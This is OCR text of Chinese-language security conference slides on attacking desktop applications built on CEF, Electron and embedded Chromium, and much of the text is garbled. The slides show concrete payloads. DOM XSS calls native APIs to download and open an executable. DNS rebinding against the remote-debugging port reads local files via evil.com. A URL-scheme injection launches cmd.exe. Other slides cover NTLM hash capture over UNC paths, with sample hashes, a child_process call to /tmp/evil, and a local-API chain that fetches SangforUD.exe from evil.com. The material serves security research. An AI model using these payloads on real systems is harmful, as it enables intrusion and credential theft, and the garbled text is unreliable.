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Chromium Embedded Framework

QtWebKit

Electron

MSHTML
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FiitWebfz

1. Chromium Embedded Framework O;{Z‘L

ChromiumERANZAHEZR ( Chromium Embedded Framework ) 24/ EFGoogle
ChromiumIDBHBYFFEWeb browseriz 4, FrfWindows, Linux, MaciE4&.

BT JREFRMHCHIC+ +AYmiEEO, XEEOBEERERSChromiumiIWebKithy
%;?ﬂ%ﬁ%’%', BELLX R SN IR TCAEER, FTRFRENRM. Y. JavascriptigsR
SRS

- QQ

« WeChat

« Battle.net
 Evernote



FiitWebfz

2. Electron 0574'

HACKER COMMUNITY

Electron@HGithubFF R —MaZEE & REMN BEFIIFIRIESE, BER
Chromium#INode jseHEIE—MzTIHEF, ALBTEMWIindows, Linux, MackHE
RN AR

Electron2&R)avascriptiBUIFIfeimiZET 1B, EaXHEEANode)ssFERIAPIE
PREZSFERENZE, MUIHENEBIChromeEZrHTML /MR E.

« Atom
 GitHub Desktop

« VS Code
« Typora
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« CefN A, INEAMIHEFIR
- ZHchromeibg

« chromiumhRZANEBHE

o EHEENLIET— Nm O

« jEfftorpheus{atimy




RS

- FiEF

- cef{kufiEE

« htmIERH
« BMECESUY

locales
package
resource

skin
audioeffects.dll
bscommon.dll

cef.pak

d3dcompiler 43.dll
d3dcompiler _46.dll
dbghelp.dll
ExceptionHandler.dll
ffmpegsumo.dli
icudtl.dat

isc_chat.dat
libcef.dll

libcurl.dll

libEGL.dII

libFLAC dynamic.dll
libFLAC++ dynamic.dll
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» data(D:) » sC mm ic » package

¢ Zlgimiﬂﬁbuﬁ blue.skin

default.skin

- SAXIFEEINE golden skin

green.skin

f| |e/// Hz8 native.ntpk

HzE orpheus.ntpk

° %hostbﬂﬁ pink.skin
red.skin
file:// /index.html _
8 orpheus.ntpk

- fRtmiN&{mhostiN#; (Custom Scheme) SHEF) B4(C) TE(S) WRkO) RN HEHH)
) BE ~— ™ O Y
:// /index.html &l W 2 il @@

N OBER ME O =E BB ER 68 .
1 Wil orpheus.ntpk - BfEER, ZIP [E45304, BE A0S 18,916,795 FH

— T S . EIR K EEREKN RE 1E25aTi8) ¢
«  IEFERIRINE

pub vy = 2019/12/2 14:24
+ https://xxxxx.com/index.html sty i 201971272 1424
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« orpheus://orpheus

Xtizorpheus.ntpk/E4g €A

™ pub
| style

>
>

R app.html

R audioEffect.ntml
R checkdata.html
B corecss

. core.js

R download.html

s

R login.html

B module

R move.html

R sns.html

R tipbuy.html

R updatedata.html

B common
I download
I frame
I login
M main
B message

vV ¥ v v v vy
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I 4104

I album
I artist
i bind

I blacks
B cloud
B comment
Bl dailysong
B discover
M djradio
Il fm

I friend
I local

W look

I mobile
B music
M mv

B my

I offline
I personal
I playlist
Bl setting
I song
I topic
I video

vV ¥V VvV VvV VvV vV V V vV V ¥V VvV vV V vV vV VvV V¥V ¥V VvV vV v v v v
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"D:\software\xooxxx\xxxxMusic\xxxxmusic.exe"

support=1 --lang=en-US --lang=en-US --log-

file="C:\Users\pc\AppData\Local\xxxxx\xxxxMusic\web.log" --product-
 Cef RendenE3uAtE version=" xxxxMusicDesktop/2.7.0.198230" --context-safety-
.« Cef GPUIMEHFE implementation=-1 --uncaught-exception-stack-size=1048576 --

enable-pinch --enable-threaded-compositing --enable-delegated-renderer --
enable-software-compositing --channel="5180.1.1167745776\650049420"
/prefetch:673131151

§ §3 = “music.exe 5180 1.39 93 B/s 50.93 MB DESKTOP-89RK23S\pc N=+1=== "Tmd Music
n =g Music.exe 5676 0.01 254.79 MB DESKTOP-89RK23S\pc Mi7a&id Fr&add Music

sk

=" sEmusic.exe 4588 1.22 149.39 MB DESKTOP-89RK23S\pc I wlaws L==d Music




RS

« --no-sandbox

« --remote-debugging-port

« --disable-web-security

« --allow-file-access-from-files
» --ppapi-flash-path

« --register-pepper-plugins

« --enable-system-flash

KL FELIRE
FEitEEn Y e Ein
A RRRE

FUVFESEISEEN At 3 4
tgxEFlash PPAPIHAATERTZ
ExEFlash PPAPIH{TIRIR
FEIFHERZESEFlash

0574
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 httpimd (FEidimE. MIRSZHETAPI, H#i2EEHAPI)
. HRSi%O (127.0.0.1,. 0.0.0.0)

E\software\= & wm_= wE B music.exe 0.0.0.0:1029 TS listen
10.19.38.138:1031 TS_established

; sMusic.exe
music.exe 3 4 E:\software\ B «"s's m Music.exe

10.19.38.138:1184 .199.69:6003 TS_established

"music.exe Vg e E:\software\ = = music.exe

| b= Emusic.exe : : - E:\software\m = = = mE = ® music.exe 10.19.38.138:1188 13.57.137.39:443 TS_close_wait
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AR HKEY CLASSES ROOT\orpheus\shel\open\command

orpheus =

» BHAWindows{Ay I
https://github.com/Icatro/pseudo-protocals-digger
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« CefN A, INEAMIHEFIR
- ZHchromeibg

« chromiumhRZANEBHE

o EHEENLIET— Nm O

« jEfftorpheus{atimy
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JavaScript #24EHA Native I0eEHUEL, 1LEBSH ARSI LA MR Native AITIREE

.. Browseri@FHJSContextd;FAAINativeRZ4

CefRegisterExtension() window.external.xxx()

NativelZNativeR g EZIRender JSContext




G — NativepRZl

HfT)avaScript{{ad -> EFANativeRzL

- DOM XSS

AREEEEIZIEDOM XSSiwR, FHEXSStAI AR TIavaScriptfis
- REXEAR

AP E@EE N ENSESF TFHEEML,, EMuhEEANJavaScript{tig
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FrEREWSEXK, LI TINESRAINativerRERIHMTTER, ERrIge@iE TadiiT. JUHEE. SRER
HESSEREL.

- RAo, AENKEE
1@ NativeXdgIREN e A FAAYNativeRiEL
eg.

BH&9Hr, JavaScriptdlSLEs
MEFIRIIEEAIBURMEIE CUETEL. BIT/MNPERSE) URImCRSHEMEINativeREINIES X
eg.

o WESHT, nativeEREIDLLII{Y
SifrNative RERIINRESLI. (E5ME, AIEREAIAR
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Ceff A, MNEAHIMHEIR, RIRAINE

7|=7k N Neran DDDDUDT 0
%Chrome 1:5 ,;:-.‘ ﬂﬂDﬂUﬂﬂD K*{ D‘kh'W' r|1
chromium iR A5 Ls] ' 8iW2#)lox_#s5
S . 00000010 ( file://-mmdind
Flash ppapi DLL{EhRZS .rdata.W-DHuD%l 00000010 file://un a5/
's’ .rdata:1009AD58 00000014 ( file:// m _wiSmain/

« Program Files (x86) » ° = > main » themes

i REAE
redPacket
@ OneDrive

| - @_theme.ui
O Wi | o w_themed.ui

| womew_theme5.ui

§ 3D &
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JavaScript Prompt - file:///index.html

« /static/js/talkbox.xxxx.js

Cancel

PIREEO, TBEREITANERINEE, JRAER
E’\Jcontentpxjgﬂg <html>FLES, EiEEL
innerHTMLAY 5 =0EZREFIR e @A,

18474 card: function() {

18475 var A this.msg.extraContent,

18476 g = JSON.parse(A);

18477 g.photoResId C.i(t.c)(g.photoResId, "MSG-public-card-" + this.msgId, 96), g
18478 j

18479 detail: function() {

18480 (this.card) {

18481 var A this.card.content;

18482 (A.index0f("<html>") -1) {

18483 var g document.createElement ("div");

18484 g.innerHTML A;
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TECE: ('DownloadResource’, 'Noticefile’, '0', , 0, callback)
B3 (‘Notice', 'OpenfFile', '0', , 0, callback)

Payloadai&:
1. ¥photoResld I N EYS 4 TR
Hx, REH




G — NativepRZl

PEFCON GRou?

0574

HACKER COMMUNITY

H&JavsScriptfLig&#EDOM XSS -> #aiEDOM XSSft&izEHI{T)avaScript -> B&JavsScript{tiBAlEnativeX
# -> ¥ETENE U TINERFEFRRInativer’#avaScript = oFEF FYE

Chromium

4.DownloabRe30urce 6.thice
\ 4 \ 4

R RRTER

5. THoxeXft  7.5fTexexttt
v v

RIFRA




G — NativepRZl

1. OAuthIgiiFskElaccess_token -> 2. @IS AR KIEEE T

exeXf4 -> 5. FJFFexeX {4 -> 6. Bir L

360RedTeam

360RedTeam

):II_

SN

~
1
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BR -> 3. ARFEEEBRMAXSSIER -> 4. TEREF
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ChromeimiZiififi¥ (Chrome remote debugging protocol), EFHTTPFIWebSocket, FF&ZE T E(DevTools)
B A TN AN SR 2 R T3 B

- --remote-debugging-address R Rl JEE, BARIT127.0.0.1
« --remote-debugging-port iR b i

1. i&3Khttp://127.0.0.1:10101/json

2. IR[ElJSONFTZ(id title,url,webSocketDebuggerUrl, ...
Chromeizf2iRitix O

3. BiIWebsocketiFEig, RiXFEIRIES

Chrome DevTools Protocol
Chrome DevTools
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EREES B Rhttp://127.0.0.1:[port] /json S EVESIEARE], FoAIREUSONSUE, WebSocket/NE F R RmRR

1. FKHUSONEZEOZEGE
« DNS Rebindinglitihs, seHEAEIRRISPRHEIREUSONIZOLEE (FrhkChromium2{gs)
- --disable-web-security, CEFZRREIRRES, oJiEEERKISONZEOEE

111.111.111.111

3. Chrome DNSZETF Rl
DNS RebindingIikBiIh LLL =y

http://evil.com:port]/json
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var local file path;
if (/win/i.test(navigator.platform)) {
local file_path ="

pl WebSocketJ‘EEChrome Dth00|SfljJ\i}\{i&—iE$UFﬁ }e:se h; (]c(lrnac/i.aest(navigator.platform)){
ocal file path ="
. . } else {
(ws://127.0.0.1:] /devtools/page/ ) ocal file path =
}
send DevToo!sCommand(ws, ' A
« Runtime.evaluate, #if7JavaScript ([EZFF12 Console N url: local file_path,
Y A . ,
#MTJ avaScrlpt) await promiseDevToolsEvent(ws, ' ";
let { result } = await sendDevToolsCommand(ws, '
{
- Page.navigate, EMTaBkiEZE file://FEIHIRER expression: °

returnByValue: true,

D

console.log('Content of ' + local file path + "\n' + result.value);

https://bugs.chromium.org/p/chromium/issues/detail?id=813540
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« (EROUHHERY
Page.navigate + Runtime.evaluate, FREITIMNGESEMITBEEE file:// @FEFARuntime.evaluate3XHX
TS

 NativeRFZmiid;
Runtime.evaluate, FIFBVEIXMINITIavaScriptiRi8, IXEiEgsaINativerRiZy,

« Chromium[a %R
ZFirRECEFXSEEEBNRERAB—EAEHF, TZEAChromebTERIER FaJFIABE SEiRmiFERZRCE,
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< ; A F== | rpysris.ceye.io:10101/dns.htm

. J:FECEFUE"IK&#JED 10101 EJZ'I 0250 It's Exploit
o CEFfRAEE, 43.0.2357.134

* ZXRChromeibfa

DNS RebindingIZ5H4 B —R&7E10s ~ TminZA
fa, Chrome DNSEZFRAMDNSIRS 2845
FEZEFMN,

3
3
T




5 — CEFTf2Es

« FFECEFEIXixmO 10101812101
« CEFRRAFERZE, 43.0.2357.134

~
~

« ZHChromeybsg

NativeRZFI A :
window.external.addDownloadTask

window.external.openFile

It's Exploit

[x ﬂ Elements Console Sources Performance Memory Application

bl © v ©

window.external.addDownloadTask("/102/6af2a390-01c3-11e9-a2cd-
5452007bdaad","1.exe","1", true, false);

Default levels ¥

=JSON.parse(window.external.getCompleteTaskList());for(var i in inject)
{window.external.openFile(inject[i]["localpath"]);}

"success"

55

> IHEREK > AHtbREAR (C) » AR
E=20)
][ 1.exe

S BRiEIE]
= R
s T8

»

UOR R =L0RA _

20:12

- B
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0574

HACKER COMMUNITY

URL Schemef{AtYSeIF A& A RIGURIS AN FRRERF#H1TRER, AR LAENSEes EiT URLSE
e N B FHHEESEL

1. TAIEJURL
PR

l 3. AFHURL Scheme

ﬁﬂﬁfiﬂ::
- WENIEEFEAURL Scheme

RIERA

JFAURL Scheme 4. Ehi FBiERE

« SNENILSESVERHURL Scheme




IZ&5mE — URL Scheme
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« Windows, ;Eftz HKEY CLASSES ROOT\ \shel\open\command

XXXX => "%1" =>

SHEIZA: https://github.com/Icatro/pseudo-protocals-digger

- MacOS, APP&Info.plist3{F4F=BEURL SchemeFiEAfZEILaunch Services

SHilaunch Services #iEENEME, HPEIE URL AREEZEINERERFIMET. RAEHEXIMN:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/Isregister -dump



IZ&5mE — URL Scheme

=
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« MacOS, fileth\EITE=ERF

file:///System/Applications/Calculator.app

trick:
127.0.0.1




IZ&5mE — URL Scheme
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* Internet Explorer + Electron, URL Scheme%13 URLEEAD/GEShellExecuteWiz1T 57,
AJAEXNE I SHENMERES, FAChromeZ2EuABan<SHITHER (CVE-2018-1000006)

URL SCheme: custom =

Payload: custom://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

—/—

BwiTER:  "C./Application/main.exe” "--no-sandbox"



IZ&5mE — URL Scheme
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o HHNEEFERCE, MhHiR4~11.1.0.8980, HEFhREIEE.

xxxminisite = "C:\Users\pc\AppData\Local\xxxxsoft\yyyy\ksolaunch.exe" /minisite /from:minisite /minisite:manual

C @ wpsminisite://http://www.baidu.com Chrome

URL Schemelie iz AN & iS58 | - .. R

xxxminisite:// $iE  hao123  WE  EE WE MR %A
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o HHNEEFERCE, MhHiR4~11.1.0.8980, HEFhREIEE.

var excApi = function (jsonstr) { X  +
var param = 'JSASynCa||("' + jsonstr + '")'; @ wpsminisite://http://54." L7 7.80/wp
var request id =

}

excApi(JSON.stringify({
method: 'ClickNotify’,
type: 'gotourl’,
content: "

)
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CEFXzghYChromiumhi A S i SE A B AR ERT, FEHSERIE.

« nosandbox, ChromiumalV8s |2 miREE1Tshellcode3k 5N [R
- sandbox, FAHEDEMRRR, FIREKES

FIFEIZE : "I ER)avaScriptf{ig



6 mE — Chromiumjsifa
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WindowsZFimChromium 53.0.2785.116, nosandbox
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- CEFEO—MRAfile//t15, EABANESEREZRIERT, TFAUNCEZETENet-NtIimEE,

T{FEHRE:
1. Net-NTLMIEHY [SMB] NTLMy2-SSP Client : 192.168.98.2

[SMB] NTLMvZ-SSP Username : DESKTOP-K830T8B\Wfox
[SMB] NTLMv2-SSP Hash : Wfox: :DESKTOP-K830T8B: ec741f839fd83e45: ASE38D2448A222A844E1E22DD
2, NTLM Re|ay + GhOSt Potato ODABBEF : 0101000000000000C0653150DE@9D20164DAEDE 243C1FIAFO00000000200080053004D004 20033000100
1E00570049004E002D00500052004300340039003200520051004100460056000400140053004D00420033002E00
6C006F00630061006(0003003400570049004E002DB0500052004300340039003200520051004100460056002E00
53004D00420033002E006C006F00630061006(000500140053004D00420033002E006C006F00630061006C000700
EJ?.P%TLEE . 0800C0653150DEAID201060004000200000008003000300000000000000001000000002000007 731850934 5FCBBE
. 57AA44366AC30784357AF9F4A2C905FC2C4B2432743E29810A001000000000000000000000000000000000000900
22006300690066007 3002 F003100390032002E003100360038002E00390038002E0031000000000000000000

1. Net-NTLMIEH; Ei% Skipping previously captured hadh for DESKIOP-KE30TEB\Afox
2. Net-NTLM v1f#%E + FRAEZRIK

3. NTLM Relay + CVE-2019-1040EF&BLHRE]R

4. NTLM Relay + ADCSE$EFIF
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1clickF|FH

+] Listening for events...

Il1 Error starting UDP server on port 53, check permissions or other servers running.

SMB] NTLMv2-SSP Client : 192.168.98.2

SMB] NTLMv2-SSP Username : DESKTOP-K830T8B\Wfox

SMB] NTLMvZ2-SSP Hash : Wfox: :DESKTOP-K830T8B:7aa8297e77ab7697 : FA1D3E3COD26AF557BF6CS55DA
3CD4B4:0101000000000000CA653150DEA9D2014834647FFE3858E4000000000200080053004D00420033000100
EQ0570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E00
(006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E00
3004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006(000700
800C0653150DEA9D201060004000200000008003000300000000000000001000000002000007731B509345F CBBE
7AA44366AC30784357AF9F4A2C905FC2C4B2432743E29810A001000000000000000000000000000000000000900
20063006900660073002F003100390032002E003100360038002E00390038002E0031000000000000000000

*] Skipping previously captured hash for DESKTOP-K830T8B\Wfox

*] Skipping previously captured hash for DESKTOP-K830T8B\Wfox
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CEFXISS 882 FaFlashiy1E 5 FaI A FEFlash b BB Blen SHIITHUER.,

. __ppapi-ﬂash—path 15xEFlash PPAPIH{TIRR
. --register-pepper-plugins }8xEFlash PPAPIHITERIR
« --enable-system-flash FeIHERZESEFlash

pepflashplayer.dll Ei%

Adobe® Flash® Player. Copyright © 1996 - ...




¥5m - FlashigiE

--enable-system-flashe[ R F A5 Flashi

File

] :
Version: 3.43.650.400

Image file name:

Process B ' Information
Commanc

B U u mm b.exe --type=renderer --no-sandbox - w'm m § = ms mm --disable-databases --
Current d enable-deferred-image-decoding --lang=en-US --lang=zh-CN --locales-dir-path="C:\Users
- \LAIZHI~1\AppData\Roaming\ m mes &s™ == = \All Users\CefResources\locales" --log-
Started: file="C:\Users\LAIZHI~1\AppData\Roaming\ 1= =, tlog\cef.log" --resources-dir-

path="C:\Users\LAIZHI~1\AppData\Roaming\l mm="lmdl's \All Users\CefResources" --
PEB addre user-agent="Mozilla/5.0 (Windows NT 6.1; WOW&4) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/39. 0 2171 95 Safarl,HS.;? "5 MicroMessenger/6.5.2.501 NetType/WIFI
Parent: s . le-syst lj] --enable-pinch --device-scale-factor=2 --font-

o cache-shared-mem- sufﬁy 136’6 --enab[e-pmch-wrtual-\rlev-.rport --enable-delegated-

Mitigation | renderer --num-raster-threads=2 --use-image-texture-target=3553 --

channel="13636.1.248240674\522369964" /prefetch:673131151
Protection

1T,

biubiubiu~~

PEFCON GRou?

0574

HACKER COMMUNITY

L |

EE(V) BIE(E) WEH)
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Electron EF Chromium #0 Node #3988, HIFE4FMt 2 —m 2 ERHEFIZETT Node js,
ANBR T, ERSHEXRIDFERF.

I -

« require(‘child_process')

« nodelntegration%gd

« Chromium[ZSEimiHE

« shell.openExternal (App A -> App B)
« URL Schemejfsildl (App B -> App A)




5mE — Electron

1. #2JEASARIZ{4/resources/app.asar

npm install -g asar

asar extract app.asar ./app

2. Stfrpackage.json3 {4, TEMANCISSIE
3. pirEHEEN Y, MBEOYRE. SRl IPCENSERE
4. pirbrowserWindowglf#Rendererg[AInodelntegration, sandbox, preload, webSecurity,

contextlsolationZri&In



5mE — Electron
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ZUABIR T, nodelntegration &bFRFRES, TirEEZUHIEEAANode APIs (module, exports #
)

require('child_process').execFile('/tmp/evil',function(){});

 preload.js3#r]FFANative API

* main.jsf7EDOM XSS

« ipcRendererIfipcMainialrE{4
« nodelntegration bypass
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Headless Chrome2ZChromeXliGesiVCHEERT,, ERATMILMCHR, MNitdE. zi7&)SikiREEs.

google --headless --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --disable-xss-auditor --no-sandbox -

-disable-web-security
3

Burp Project Intruder Repeater Window Help

parer | Extender | Project optio

WEg=:
- CEFERAiRENEG
o ChromiumimiRXEH

Raw Headers Hex




EnE
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N FIREFRAEAESITHTTP APlim, LUSEXImEeskimSAtiER, APIFESERRR SN EEET M

RSN FIAE P AR EC I T

. JSONPEl;
« CORSHElE;
- WebSocket&ld;

1. ¥D9aHVPN:
https://127.0.0.1:54530/ECAgent/?op=

2. PUTFHRIRAE:
https://127.0.0.1:54530/ECAgent/?op=

Chrome

1. I5[a]https:/fevil.com

&argl1= &type=WEB& =b

&arg1=BEFORELOGIN&type=WEB& =C

2. 153K 127.0.0.149InitECAgenti& [
—.)

3. In&fhttps:/evil.com/com/WindowsModule.xml

4. 35127.0.0.1#9UpdateControlsiZ ]

5. hn&https:/evil.com/com/win/SangforUD.exe
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HACKER COMMUNITY

- bR - DOM XSSiif »  Chromiumifgifa
- ZHEIFERE - NativeRRZ{ « Electroni@F
« CEFiZf2Ein « URL Scheme

 Flash;fmilE « Windows UNC

« ZNHEHTTP API
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Thanks!



